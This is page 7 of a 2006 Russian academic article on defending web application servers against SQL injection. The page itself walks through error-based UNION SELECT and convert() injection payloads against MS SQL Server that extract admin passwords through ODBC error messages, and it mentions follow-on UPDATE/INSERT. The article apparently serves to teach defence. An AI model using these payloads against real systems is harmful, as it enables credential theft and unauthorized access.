Противодействие неавторизованному доступу к серверу Web-приложений с использованием механизма подложных SQL-запросов - page 7

Теперь мы знаем, что есть
admin
— пользователь с именем входа в
систему
neo
. Наконец, мы можем получить пароль
neo
:
UNION SELECT TOP 1 password FROM
admin_login where login_name= neo - -
Сервер БД выдаст следующее сообщение:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value m4trix to a column of data type int.
/index.asp, line 5
Войдем в систему как
neo
с паролем
m4trix
.
Есть ограничение в методе, описанном ранее. Мы не сможем по-
лучить сообщение об ошибке, если попробуем преобразовать текст,
который состоит из числа (символы между 0. . . 9). Опишем получе-
ние пароля
31173
у пользователя
trinity
:
UNION SELECT TOP 1 password FROM
admin_login where login_name= trinity - -
Получена ошибка
Page Not Found
. Причина в том, что пароль
31173
будет преобразован в число, перед вызовом оператора UNION
с целым числом (в нашем случае 10). Получается правильное вы-
ражение, и MS SQL-сервер не выдаст сообщение об ошибке, таким
образом, нельзя получить числовую запись.
Для решения этой проблемы можно добавить в конец числовую
строку с некоторыми буквами, чтобы преобразование не прошло. Из-
мененный запрос выглядит следующим образом:
UNION SELECT TOP 1 convert(int,
password%2b %20morpheus ) FROM admin_login where login_name=
trinity - -
Используем знак “плюс”
(+)
, чтобы добавить в конец пароля
любой текст. Затем, добавим в конец %20morpheus в фактический
пароль. Поэтому, даже еслизначение пароля будет
31173
, он станет
31173 morpheus . Вручную вызывая функцию
convert()
, пытаясь пре-
образовать
31173 morpheus
в целое число, SQL-сервер выдаст ODBC
сообщение об ошибке:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 31173 morpheus to a column of data type int.
/index.asp, line 5
Теперь можно войтив систему как
trinity
с паролем 31173 .
После того, как получены имена всех столбцов в таблице, можно
обновить (
UPDATE
) или даже вставить (
INSERT
) новую запись в таб-
лицу. Например, изменить пароль для
neo
:
80 ISSN 0236-3933. Вестник МГТУ им. Н.Э. Баумана. Сер. “Приборостроение”. 2006. № 3
1,2,3,4,5,6 8,9
Powered by FlippingBook